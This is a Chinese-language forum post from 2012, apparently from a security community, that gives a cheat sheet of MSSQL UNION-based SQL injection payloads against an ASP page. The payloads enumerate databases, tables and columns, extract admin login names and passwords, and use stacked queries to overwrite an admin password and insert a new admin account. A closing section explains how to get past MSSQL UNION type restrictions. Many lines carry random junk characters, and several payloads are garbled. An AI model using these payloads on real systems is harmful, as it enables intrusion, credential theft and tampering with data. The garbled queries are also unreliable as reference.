找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2329|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
爆库:
9 o& ]+ a, Y7 p; q6 ?' Ahttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--: U% u( {4 E. X9 ?0 L* L0 V; o3 j$ w
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.+ `& c& p+ g: n0 w! h8 I9 l
爆下一个库:
& ]8 v. N$ \+ t1 H: i! @9 L/ O! thttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--2 S7 o3 _3 g# ~+ o! }
% X  N; d3 w8 K
爆表:
( T! m! D; W9 F  z) y, D: B! _http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
7 ^! O. I" U: m; n4 |( S" R9 _3 E3 d2 H9 Y  v: x' q5 l
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.. m) M& C9 x6 }( I+ u; F  W

1 u. F5 [9 i4 J) H+ p3 H+ J爆下一个表
( E/ _) _& _9 A5 B- Shttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--+ X5 Q" N5 T1 Y5 s/ Z! w$ c% u
4 A( S1 D% Y* R. j: P7 `2 a
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
+ }0 Y+ T. C/ k" c8 _' m% A- s  s8 X8 q4 B- X7 \& E  e* U
. o, y5 C) r' ~( i) M$ O

' v' [5 E: O  O  w爆字段:
7 {" s! L% V; e/ `0 nhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--: I+ M1 [( i' R3 J, Z3 y
; H' [$ _5 H1 W# k/ m
爆下一个字段
" C' j' `% a! N5 Shttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--% T1 e( n  Q( t- q% e
  |, N7 p  _* D* Q. _
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
# N$ m$ U9 n- o; s9 B. S- E: q/ Q, b2 j1 ?" J; x

9 g: o( x. k0 L1 S; ]8 P- |' N爆字段里的内容
# a$ D( G6 b% A' @, I' ahttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--+ ]; s* N8 f9 s. J7 ]

5 J5 E+ J0 n8 `( e( Hhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--# \+ N9 N/ Q9 P. v( U& r
5 e  `) A" a6 H2 i2 ~$ r- G
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--$ O# ]; ~0 ^2 e* {
- j4 |  I7 }4 \+ E- ^/ h6 b; A
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--6 s1 X  s3 i0 `; m4 Q  j/ }) |
- o5 v4 e2 p5 ^4 P$ m; q1 F/ Q& n
更新字段里的内容
" I6 ~. }9 s9 S. Q) `' S5 I+ u4 Ghttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
4 H. T9 d% ^; k! `3 C! n$ w1 A- Z8 c( ^$ L
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--0 Z( e) J; ^+ W: h
" K3 s; t- f7 D. ~$ T# F3 u4 N
2 F: H- n) y0 P2 F9 ^

" d9 p+ S$ l& A$ z- T$ H        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。  L6 x! J) u, b$ M5 K
    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
* m6 Q& ]( u0 @& |4 O" y6 ?& \4 i    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。0 |- @; [+ ~' }( P" X. c
    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
4 j/ S# }7 ^# h) N1 U( Q+ a; u- O; b. _: }5 L& _& `
突了了大部份限制的语句7 C; b  u- C% V9 [5 ^
and 1=2 union all select char(49),char(50),null,null;--0 z" q- O; j0 T3 X# ?; d

8 ?8 c. s1 e) {! l) j. @# f' z$ B4 I2 R2 h- r5 Y3 G
null也可以正常执行,不过没有回显,不好判断回显的列数。
" P. x3 H. D& n8 d一般union遇到问题都是有text或者ntext字段,image的很少遇到' L% _2 ]+ F5 M1 Y2 [

( g6 x& ?  k) {可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
2 G' a: u  J8 M1 |8 z. T* c
. Y5 b  {8 b1 s3 A7 t7 X2 b$ j$ _  T5 r4 ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表